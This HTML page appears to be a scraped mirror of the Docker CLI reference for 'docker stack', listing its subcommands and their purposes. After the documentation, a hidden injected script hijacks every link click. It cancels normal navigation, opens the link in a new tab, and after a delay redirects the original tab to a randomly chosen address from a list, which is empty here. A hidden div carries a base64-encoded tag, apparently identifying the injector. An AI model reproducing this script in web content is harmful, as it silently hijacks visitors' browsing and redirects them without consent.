<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p># docker stack

**Description:** Manage Swarm stacks

**Usage:** `docker stack [OPTIONS]`








**Orchestrator:** Swarm

## Description

Manage stacks.






## Subcommands

| Command | Description |
|---------|-------------|
| [`docker stack config`](https://docs.docker.com/reference/cli/docker/stack/config/) | Outputs the final config file, after doing merges and interpolations |
| [`docker stack deploy`](https://docs.docker.com/reference/cli/docker/stack/deploy/) | Deploy a new stack or update an existing stack |
| [`docker stack ls`](https://docs.docker.com/reference/cli/docker/stack/ls/) | List stacks |
| [`docker stack ps`](https://docs.docker.com/reference/cli/docker/stack/ps/) | List the tasks in the stack |
| [`docker stack rm`](https://docs.docker.com/reference/cli/docker/stack/rm/) | Remove one or more stacks |
| [`docker stack services`](https://docs.docker.com/reference/cli/docker/stack/services/) | List the services in the stack |


</p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
